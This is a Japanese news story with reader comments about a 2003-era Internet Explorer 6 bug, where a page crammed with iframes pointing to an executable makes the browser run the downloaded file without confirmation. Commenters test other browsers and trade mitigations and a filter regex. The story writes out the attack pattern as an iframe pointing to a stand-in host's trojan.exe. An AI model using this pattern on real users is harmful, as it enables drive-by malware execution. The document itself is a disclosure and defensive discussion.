ブラクラ状態の後にダウンロードプログラムを強制実行するIE 6 174
ストーリー by Oliver
げっぷ 部門より
げっぷ 部門より
jbeef曰く、"5月16日のセキュリティホールmemoでもとりあげられているように、IE 6にバグがあり、<iframe src="http://example.com/trojan.exe">などが無数に書かれたHTMLページにアクセスすると、ダウンロードした trojan.exe が確認なしに起動してしまうという。Nimda級のワームに悪用されるおそれがあり危険だ。
実際に試してみたところ、最初は「ファイルのダウンロード」確認ウィンドウが現れて「開く」「保存」「キャンセル」を選択させられるが、これが大量に開いて、いわゆるブラクラ状態となる。ここで急いでWindowsのタスクマネージャを開いてプロセスを終了させようとしても、間に合わず、ついにはなぜか、ダウンロードしたプログラムが起動してしまった。
回避方法として、ブラクラ状態になったら即座にネットワークケーブルを外すことが有効のように見えた。ダウンロードがそれ以上進まなくなるからだ。ただしそれで常に避けられるかはわからない。
根本的な解決のためには、そもそも大量のウィンドウが現れること自体を防ぐべきではなかろうか。同時処理数に上限を設けないことは、ある意味美しい設計ではある(組み込み機器にありがちな上限固定設計に比べて)のだが、ブラクラを防ぐために上限を設けるのはどうだろうか。"
ほかにも… (スコア:5, 興味深い)
同感なんですが、根本的なハナシ、
この動作が、大量処理を強要した結果、ダイアログの応答を誤認して、ある意味正常にダウンロード対象を保存し実行まで処理を継続してしまうのなら、ブラクラ攻撃以外にも大きな脆弱性が存在したりしませんかね?
IEにとどまらず、もしかしたらダイアログAPI、果てはウインドウ管理そのもの、の問題かも…。ダイアログを大量に出すように任意のアプリケーションを誘導できさえすれば、誤動作に導けそうな気がしてしまいます。
みんつ
Re:ほかにも… (スコア:3, 参考になる)
で、失敗時の-1を"開く"を選択したと誤認すると……
いや、今回のこれがそうだとは思いませんが。
Re:ほかにも… (スコア:2, 参考になる)
たぶん ダイアログの応答誤認ってのは違うと思う
試してないんですが、 (スコア:3, 参考になる)
この機能を利用してると、Irvineが立ち上がってなくてもIEのダウンロードダイアログが完全に殺される(=代わりにIrvineが立ち上がってキューにURLを入れる)んですが。
# これ、ときどき.exe形式のカウンターが引っかかったりしますが:(
# エロサイトだとdial.exeみたいなのがキューに入れられたりも。
試しにMozilla Firebirdで (スコア:2, 参考になる)
ファイルを保存するか問うダイアログが一度出て、「キャンセル」するとそれっきりでした。
ただ、WindowにはJPEGファイルが破損したような画像が表示されました。
不思議なのは、リロードする度にこの画像が違うこと(画像サイズは同じ)。
何をしようとしたんでしょう? >火の鳥さん
Re:試しにMac 0S X+IE5.2で (スコア:3, 参考になる)
Mac版のIEとWin版のIEって、中身は全く別物かと思ってたんですけど、こういうこともあるんですね。
というわけで、Macユーザーも警戒して下さい。
# これを機会に、完全にSafariに乗り換えるのもいいかも
試しにOperaさん7.11で (スコア:1)
表示も真っ白のままです
ただし、キャンセルしないで放置してあげるとOperaさんが無反応に…
微妙に危険かもしれず…
Re:試しにSafari Beta2(v74)で (スコア:1)
いきなり fooware.exe が1回ダウンロードされてそれっきり。でも、いきなり何の確認もなしにダウンロードされちゃうのはいやだなぁ...
Re:試しにSafari Beta2(v74)で (スコア:1)
ディスクイメージだと、mountまでで実行まではいかないと思います。pkgが入ってると違うんでしたっけ。
いずれにしろ、Safariの環境設定から一般を開いて「ダウンロード後安全なファイルを開く」のチェックを外せばダウンロードだけですみます。何が安全なファイルなのか、ユーザ側で設定できないのがいやですが。
ためしにCaminoで (スコア:1)
「ブラウザが表示できないファイルの処理」をユーザーが設定出来るようにして欲しいな。
#Feedbackに送る文章考えよ…。
Re:IEでも動作せず? (スコア:1, 参考になる)
確かに大量にダウンロードダイアログが出た後、一つ自動実行された
ようでした。(コマンドプロンプトが出てきた)
ところでfubを使っている場合、fubを閉じればダウンロードはキャンセルされるので
>Windowsのタスクマネージャを開いてプロセスを終了させようとしても、間に合わず
よりはマシですぐ気づいて閉じれば間に合います。
あまり慰めにはなりませんが・・・。
ブラウザクラッシャーよけに最大ウィンドウ数を指定する機能があるのですが
ダウンロードダイアログには効かないんですね。惜しい。
みんなでやってみよー (スコア:2, 興味深い)
これじゃや「やってくれ」と言わんばかり…
回避方法って...
これ回避方法とは呼べないでしょう。
LANコードなんてそう簡単に抜けないと思うし
正直リセットの方が効果的だと思う。
それを承知なら使う方が間違っているという結論になりますが…
#タブPCにCtrl+Alt+Delキーなる便利なキーがあったなー(遠い目)
回避方法 (スコア:1, すばらしい洞察)
いかなる脆弱性が発見されても放置されるIE (スコア:2, 参考になる)
このような脆弱性が発見されても平気で…
そうではない人はセキュリティーに無頓着なので
このような脆弱性が発見されても平気で
例えばいまだにMS01-020のパッチすら当たっていない人もいるくらいでして…
結局
MSIEは今まで深刻な脆弱性をいくつも発見されていますが
普及しているにも関わらず他のソフトの脆弱性発見に比べて
騒がれないものです。
企業によってはMSIEの使用を禁止しているようですが、許可しているところでも
オフィス内のヘビーユーザーはMozillaユーザーだったりします。
MSIEの脆弱性が発見されてもMSIEを使わないヘビーユーザーは
対岸の火事のような感覚で受け止めるため、
自分には関係がないということで情報を集めず、
オフィスに警鐘を鳴らすこともなく、何の動きもなく月日が経過しがちです。
そして忘れたころに脆弱性を突くウィルスが登場して
オフィスが一気に汚染されてしまうパターン。
MSIEのバグで深刻なのは、その個々のバグの内容よりも、
何が起きても放置されがちな背景にあると思われます。
IEやOEに対するパッチが出たあと長期間パッチを当てずに放置した人が
沢山いたために流行した事例はKlezやFrethemなど沢山あります。
「なぜ今ごろこんな古い脆弱性を突くウィルスが?」
という問題は今の状況が変わらない限りこれからも続くでしょう。
日本のオフィス内でMSIEが脆弱になってしまう大きな原因に
「最初から入っている」
という点があるでしょう。
Mozilla, Operaのような後からインストールされるツールは
ユーザーが自分の意思と自分の作業でインストールするため、
そこにセキュリティーホールがあると入れた自分の責任になってしまいます。
そのため、インストールしたあとセキュリティー情報に興味を持ちやすくなり、
また自分の手間で入れたために愛着もわくことになり、
そういう理由から自然に安全性は向上します。
しかしMSIEのように「最初から入っている」「自分が入れたのではない」となると、
脆弱性によって何が起きても自分の責任ではないということで、
それどころか下手にパッチを当てて問題が起きたら自分の責任になるということで、
事なかれ主義の日本人サラリーマンは
パッチを当てず「そのまま」の状態で放置することが当り前になります。
コンピューター技術を売りとしていないオフィスや
忙しいオフィスではそれが顕著です。
「何も行動を起こさないのは何よりも悪い」という文化の地域もあるようですが
大抵の日本人には受け入れられず、
「私がやったのではないので責任はない」というエクスキューズがあると
日本人はすぐそちらに飛びつきます。
そういったことから、パッチなしMSIEが大量に潜んでおり、
アンチウィルスソフトがそれを誤魔化している、というのが今の日本のオフィスです。
「原則禁止。使いたい場合は、手抜きして既に入っているものを使うのではなく
新しくダウンロードし、継続的に新しいパッチを追いかける」
などと条件をつけない限り、
オフィス内でMSIEを使用することに安全性はないと思われます。
Re:いかなる脆弱性が発見されても放置されるIE (スコア:2, 参考になる)
やはりこういった場合、導入コストを考えてI初期導入済みのMSブラウザを対象としてしまっているのが現状です。(下手をするとパッチレベルまで指定する事もあるようです。)
これに伴い、個人的に利用しているブラウザでは社内システムが動かないなどの弊害によりMSブラウザに依存せざる得ない方も多いのではと思いますが。。。
本来であれば、そういったセキュリティレベルまで考慮したシステム開発が必要なのでしょうが納期や費用の問題もあり現状でとりあえずMSブラウザでOKとしてしまっている部分も多いです。
まぁ、本来は自分の身を守るという意味で、インターネット接続と社内システムでブラウザを変更すれば問題ないのでしょうが。。。
セキュリティに詳しい人がどの程度社内にいるかの問題と、セキュリティ問題に対する啓蒙(社内的なもの)がどの程度行うことができるかという問題もあると思われます。(コストの面も大きいですが。。)
ただこの話も、開発する側の問題なのかもしれませんが。。
bamb_t
Re:いかなる脆弱性が発見されても放置されるIE (スコア:1)
>新しくダウンロードし、継続的に新しいパッチを追いかける」
>などと条件をつけない限り、
>オフィス内でMSIEを使用することに安全性はないと思われます。
MSIEに限った話じゃないんじゃない?
それにWindowsを使用しているならば、たとえWebブラウザとして何を使用していようが問題となる可能性があるので、それで対岸の火事のように感じてしまうヘビーユーザーとやらも問題でしょう。
コンピュータを使うならば、程度の差こそあれパッチ情報に目を光らおく必要はあるでしょう。
IE以外のブラウザの方がセキュリティ脆弱性が起こりにくい構造にあるとか、セキュリティ更新がすばやく行われるとか、パッチ適用が簡単であるとか、そういう理由でMozilla等を推奨するならともかく単に追加でインストールしたものだからパッチ適用も行うだろうというようなあいまいな理由で推奨するのはユーザーにとっても管理者にとっても不幸なことだと思いますがいかがでしょうか。
Re:いかなる脆弱性が発見されても放置されるIE (スコア:1)
結局MSIEのパッチをを当てるのも自己責任なわけで。
1割本気 (スコア:1)
>付けておけばOKなんよね。
いっそM$が自ら脆弱性を突くウィルスをばら撒きませんかね。
そのウィルスが発動すると勝手にWindowsUpdateへアクセスして
最新版にしてくれちゃう善意のウィルスみたいな。(ダメじゃん)
And now for something completely different...
Re:Anti-Virusガンガレ (スコア:1)
>付けておけばOKなんよね。
それも万能ではないと思います。
今回みたいに簡単かつ危険な情報がすばやく出回ってしまったりするとパッチが出る前に被害に合いかねません。
パッチができる前にIEの実行を禁止するとりあえずの措置を配布するくらいまで自動化してしまわないといけないんじゃないかとも思います。
もちろんON/OFFはできるべきですけどね。
Re:Software Update Services (スコア:1)
%% 急ぎの仕事中に停止されたらその方が被害甚大。
の
LANケーブルを抜くって..... (スコア:1, 興味深い)
これ、内蔵無線LANの場合はどうしたら良いんでしょう?
まぁ、タブブラウザソフトでタブ数の上限をかけても良いんでしょうけど。
Re:LANケーブルを抜くって..... (スコア:3, 参考になる)
>
> これ、内蔵無線LANの場合はどうしたら良いんでしょう?
んと、Win2K,XPなら、即座にCtrl+Alt+Delからタスクマネージャーを起動して、IEを殺すのが有効っぽい。
#うちのPCでは間に合った。 <つか、やるなw
まあ、そのままシャットダウンしたほうが良いかな?
> まぁ、タブブラウザソフトでタブ数の上限をかけても良いんでしょうけど。
これ、だめぽ。
あれはJavaScriptで開かれるウィンドウに対してのみ有効みたいで、
ダイアログみたいなのはタブにならないからだめみたい。
(少なくとも、Sleipnirではだめだった)
Re:LANケーブルを抜くって..... (スコア:3, 参考になる)
参考までに、Ctrl+Shift+Esc で直接タスクマネージャを
起動できます。
Re:LANケーブルを抜くって..... (スコア:1)
なお、WinXPでの新しいログオン機構が動いてるときだと思うのですが、Ctrl+Shift+EscでなくてもCtrl+Alt+Delで直接タスクマネージャが起動します。
#さっきダウンロードしたMozillaFirebirdが早速役に立ってウマー
Re:LANケーブルを抜くって..... (スコア:1, おもしろおかしい)
Re:LANケーブルを抜くって..... (スコア:1, 参考になる)
ソニーのノートPCだと、無線LANをON/OFFする物理スイッチがついてて
便利ですよ。
http://review.japan.cnet.com/pub/column/sutapa/200304.html
Re:LANケーブルを抜くって..... (スコア:1)
>ソニーのノートPCだと
ソニーのノートPCに限らず…
Libretto [dynabook.com]なんかでもできます。
ってか、ふつ~付いているもんだと思うんだけど…他の会社のって、ついてないの?
----------------------------------------
You can't always get what you want...
富士通のLOOXは (スコア:1)
★田舎に生息する時代遅れのFortran&COBOLガイなオタク★
Re:LANケーブルを抜くって..... (スコア:1, おもしろおかしい)
1. 手元にグルカナイフを用意します。
2. アクセスポイントに向けて思い切り投げつけます
3. ネットワークが切断したら成功です。
すばやい対応と日頃の鍛錬が重要です。
もしくは, (スコア:1)
★田舎に生息する時代遅れのFortran&COBOLガイなオタク★
こうすればいいのに (スコア:1, 興味深い)
「ウインドウの数が設定数を超えました。処理を続行しますか?」
みたいに聞いてきてくれればありがたいなぁ。
タブブラウザの窓数抑止は、エ○画像を大量に開きまくってたらすぐ超えるから設定してないし…
Re:こうすればいいのに (スコア:2, すばらしい洞察)
「ウインドウの数が設定数を超えました。処理を続行しますか?」
と質問するダイアログの数が上限を超えて誤動作するのですよ。多分。
Re:こうすればいいのに (スコア:1, 参考になる)
たとえば、1秒に1枚までとか、10秒に10枚までとか(後者は、0.001秒のあいだに10枚開いたらあと9.999秒は新たな窓を開けないという意味)。そうすれば、ブラクラに遭遇してもゆっくり対処できる。
ナチュラルな回避方法? (スコア:1)
嬉しいような、悲しいような・・・。
Re:ナチュラルな回避方法? (スコア:1)
ちなみに,700MHzなCPUで実験してみたところ74%ほどしかCPUを占有していなかった。
多分,ネットワークへのリクエスト処理とかで詰まっててダイアログ処理だけでCPUを使い果たすまで行かなかったのだろう。
おふとぴ (スコア:1)
作ってたら教えてくだされ~。
# 「iFrame/iLayer to link」で効くかと思ったが駄目だった...
--------------------
/* SHADOWFIRE */
Re:おふとぴ (スコア:3, 参考になる)
「範囲のマッチ (Bounds)」のところを
<i(frame|layer)\s*>(</i(frame|layer)>|)
に変更するといけました。お試しください。
試すときはキャッシュを削除した方がいいかも。
Re:おふとぴ (スコア:1)
>> <i(frame|layer)\s*>(</i(frame|layer)>|)
>> に変更するといけました。お試しください。
おー、うまくいきました。
有難うございます。
>> 試すときはキャッシュを削除した方がいいかも。
そう!その通り。
ワタシは、削除せずにやって、またくらってしまいました...
--------------------
/* SHADOWFIRE */
判らない用語 (スコア:1, すばらしい洞察)
一般的な用語なのかな。
#はづかすぃのでAC
Re:判らない用語 (スコア:1)
ブラウザによってはイタリック・ボールド表示となっているので, 質の悪いディスプレイだと潰れて見えなくなっているのでは?
Re:判らない用語 (スコア:1)
多分ウィンドウが一杯開いちゃうやつのことだとは思うけど、そういうやつだけじゃなくて以前は concon とかもあったし table のでかいやつとか img src=... でドライブ A へのアクセスとか色々種類があるからなあ。
(´д`;)
Re:判らない用語 (スコア:1)
とりあえず、気安く略語にするべからずってな感じで。
# ACなのでAC
Re:ブラクラって英語で何ていうの? (スコア:1)
一応辞書には書いてあるけど。
http://dictionary.goo.ne.jp/search.php?MT=mailer&kind=ej&mode=0&base=1&row=1
(´д`;)
Re:とりあえず (スコア:1)
変わらず、再現しますねぇ....
IEキャッシュから実行権を剥奪する (スコア:1, すばらしい洞察)
「フォルダのスキャン/ファイル実行」拒否を追加したら
家では、プログラムの起動は失敗してくれるみたいよ、
この制限掛けると何か不具合在るだろか?
Re:IEキャッシュから実行権を剥奪する (スコア:1)
# そもそもwebブラウザは、ほとんどどこにもアクセスできないように制限したユーザーの権限で実行してますが…
# ていうかむしろ web browsing 環境は vmware とかで隔離すべき?
Re:有限なものを扱うのに制限が無い事自体が間違い。 (スコア:1)
いちいち例外的な状況に対処するためのコードを書くのは面倒なので。
「例外処理をちゃんと書かないプログラミングは駄目」と言うのは簡単ですが、プログラミングの手間を減らす道具であるプログラミング言語やライブラリの側でどうにかならないものでしょうか。
鵜呑みにしてみる?
Re:有限なものを扱うのに制限が無い事自体が間違い。 (スコア:1)
C++ に例外処理機構があるからといって、 というのに対処するのが十分簡単にはなっていないと思うのです。というのは、結局ライブラリが「エラーだったら NULL を返す」という設計になっていることが多いと感じるからです。
これは言語のデザインの問題ではなくライブラリの問題であって、ライブラリを作り直して例外処理機構を正しく使うようにすればよいということかもしれませんが、ライブラリを作る段階で何が例外的状況かを決めるのは割と大変だと思います。
言語に例外処理機構があることで、例外処理が少しは簡単になっていると思うので、望み過ぎかもしれませんが、もっと簡単にならないのかなと思って書いてみたのでした。
鵜呑みにしてみる?
Re:有限なものを扱うのに制限が無い事自体が間違い。 (スコア:1)
オフトピだけどマジレスしとくと、
1:(例外)オブジェクトを「投げる」ことが出来る。
オブジェクトは情報の塊だから、その中に例えば"例外の理由"とかの情報を詰め合わせてまとめて投げ(られ)るのが便利。
要するに、投げ易い手ごろなサイズのボールだということ。
投げたり受けたりする単位として、オブジェクトは丁度便利。
2:オブジェクトというかクラスの問題だけど、エラーの「種類」の分類をクラス継承関係に当てはめるのが便利。
どっちも分類であってツリー構造になるから、相性がいい。
ってなとこか。
#OOPとは関係ないけど、あと今時の例外が構造化例外であることも便利さの1つ。
>パソコン自体が有限なリソースしか持ち合わせていないのに、
>それ以上のリソース消費を許容しちまうプログラムって~事自体が悪!
>というのに対処するのが十分簡単にはなっていないと思うのです。というのは、結局ライブラリが「エラーだったら NULL を返す」という設計になっていることが多いと感じるからです。
例外を上げるのとNULLを返すのはどちらも同じことで、つまり「何がエラーなのか」を定義したプログラマが
プログラムで検知可能な手段(^^;を用いてそのエラーとやらを検知する(そして検知したらNULLなり例外なりを…)
というコードを書くだけのことです。
だから例えば、「(リソースが)無くなった」じゃなくて「無くなりそう」をもってエラーだと定義し、
かつその「無くなりそう」を把握することが可能であるならば、NULLだろうが例外だろうが出し放題。
>ライブラリを作る段階で何が例外的状況かを決めるのは割と大変だと思います。
「何が例外か」を答えるCallbackとかStrategyとかを用意する、ってわけにはいきませんかね?
場合によってはTemplateMethod…
Re:有限なものを扱うのに制限が無い事自体が間違い。 (スコア:1)
> それ以上のリソース消費を許容しちまうプログラムって~
>事自体が悪!
なるほどそのようなリソース消費を許容してしまう
Windowsというプログラム自体が悪であると(笑)。
でもPCで使えるOSでリソース消費を制限できるものってのは
少ないような気がしますが、あるものなのでしょうか??
#Solaris+ResourceManagerとやらで出来た気がするけど
#CPUがいっぱい必要だし(笑)。